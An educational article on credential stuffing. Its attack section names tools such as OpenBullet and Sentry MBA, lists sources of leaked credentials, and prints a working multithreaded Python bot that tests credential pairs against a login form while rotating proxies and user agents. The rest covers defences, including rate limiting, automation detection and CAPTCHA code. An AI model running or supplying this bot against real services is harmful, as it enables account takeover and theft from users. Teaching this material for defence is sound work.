Credential Stuffing: Automated Account Takeover Attacks

When 160,000 Nintendo Accounts Fell in One Day

In April 2020, Nintendo confirmed that 160,000 user accounts were compromised. Attackers hadn't hacked Nintendo's servers — they used credentials leaked from unrelated breaches to log into Nintendo Network IDs. The same reused passwords that players used on forums, shopping sites, and gaming platforms gave attackers access to stored credit cards and digital purchases. This is credential stuffing: using one breach to unlock a thousand doors.

Credential stuffing is a type of cyber attack where attackers use username/password pairs obtained from data breaches to automatically gain access to user accounts on other services. The attack exploits password reuse.

Prerequisites

Before studying credential stuffing, you should understand:

The Credential Reuse Problem

# Studies show 65% of users reuse passwords across multiple sites
# If one site is breached, attackers try those credentials everywhere

User's password usage:
Gmail:       MySecurePass1!
Facebook:    MySecurePass1!
LinkedIn:    MySecurePass1!
Amazon:      MySecurePass1!
Bank:        MySecurePass1!  # Same password!

# One breach compromises ALL accounts

How Credential Stuffing Works

Attack Flow

Attack Scale

# Modern credential stuffing attacks operate at massive scale
# 1,000-100,000+ compromised credentials per target
# Distributed across thousands of IP addresses
# Mimics normal user traffic patterns

Credential Stuffing Tools

Using OpenBullet

# OpenBullet is a popular credential stuffing framework
# Features:
# - Multi-threaded checking
# - Proxy rotation (HTTP, SOCKS)
# - Captcha solving integration
# - Custom configs for different sites
# - Results export and analysis

# Configuration structure:
# Configs/ — Site-specific login configurations
# Wordlists/ — Credential pairs
# Proxies/ — Proxy lists for IP rotation
# Results/ — Valid/Invalid account storage

Using Sentry MBA

# Sentry MBA is another credential stuffing tool
# Features:
# - Cookie and header management
# - Multi-threading
# - Proxy support
# - User-agent rotation

Custom Python Script

import requests
from threading import Thread
from queue import Queue

class CredentialStuffingBot:
    def __init__(self, target_url, proxies=None):
        self.target = target_url
        self.proxies = proxies or []
        self.session = requests.Session()

    def attempt_login(self, username, password):
        data = {
            'email': username,
            'password': password,
            'remember': 'true'
        }

        try:
            resp = self.session.post(
                self.target,
                data=data,
                proxies={'http': self.get_proxy()},
                timeout=10,
                headers={'User-Agent': self.random_ua()}
            )

            if 'Invalid' not in resp.text and 'incorrect' not in resp.text:
                return True
            return False
        except Exception:
            return False

    def worker(self):
        while not self.queue.empty():
            username, password = self.queue.get()
            if self.attempt_login(username, password):
                self.valid.append((username, password))
            self.queue.task_done()

    def stuff(self, credentials):
        self.queue = Queue()
        self.valid = []

        for cred in credentials:
            self.queue.put(cred)

        threads = []
        for _ in range(10):
            t = Thread(target=self.worker)
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

        return self.valid

    def get_proxy(self):
        import random
        return random.choice(self.proxies) if self.proxies else None

    def random_ua(self):
        agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)...',
        ]
        import random
        return random.choice(agents)

Leaked Credential Sources

Public Breach Datasets

# Collection #1-5 (largest credential compilation)
# Contains billions of unique username/password pairs

# HaveIBeenPwned
# Searchable database of breached credentials

# Dehashed
# Search engine for leaked credentials

# Paste sites (Pastebin, Ghostbin)
# Attackers often post credential dumps here

Dark Web Markets

Detection and Defense

Rate Limiting

const rateLimit = require('express-rate-limit');

// Per-IP rate limiting
const ipLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 20,
  message: 'Too many requests',
});

// Per-account rate limiting
const accountLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  keyGenerator: (req) => req.body.username,
  message: 'Account temporarily locked',
});

app.use('/login', ipLimiter, accountLimiter);

Device Fingerprinting

// Detect automation tools
function detectAutomation(headers) {
  const indicators = [
    !headers['accept-language'],
    headers['user-agent']?.includes('Python'),
    headers['user-agent'] === undefined,
    headers['connection'] === 'close',
  ];
  return indicators.some(Boolean);
}

CAPTCHA and Progressive Challenges

// Progressive security challenges
const FAILURE_THRESHOLD = 3;

app.post('/login', async (req, res) => {
  const failures = await getFailures(req.ip);

  if (failures >= FAILURE_THRESHOLD) {
    // Require CAPTCHA
    if (!req.body.captcha || !verifyCaptcha(req.body.captcha)) {
      return res.status(403).json({ error: 'captcha_required' });
    }
  }

  // Normal login logic
});

Real-World Examples

Dunkin Donuts (2018): Credential stuffing attacks compromised DD Perks reward accounts, with attackers using stolen credentials from other breaches to access customer accounts and stored payment information.

Magecart and Credential Stuffing (2019): Attackers combined credential stuffing with web skimming — using compromised accounts to inject payment skimmers into e-commerce sites.

Nintendo Accounts (2020): 160,000 Nintendo accounts were compromised through credential stuffing, with attackers using leaked credentials from other breaches to access Nintendo Network IDs.

Common Mistakes

Password reuse: The root cause. Users reusing passwords across services directly enables credential stuffing.

No rate limiting: Without limits, attackers can test millions of credentials rapidly.

No breach monitoring: Organizations unaware that their employees use breached passwords.

Ignoring IP reputation: Not checking login IPs against threat intelligence feeds.

No account takeover detection: Missing indicators like password changes from new devices.

Best Practices

Related Tools

Related Articles

Summary

Credential stuffing exploits password reuse by testing leaked credentials across different services. It is a volume-based attack that leverages the massive scale of data breaches. Defenses include rate limiting, device fingerprinting, CAPTCHA, and most importantly, MFA and password monitoring against breach databases.

Knowledge Check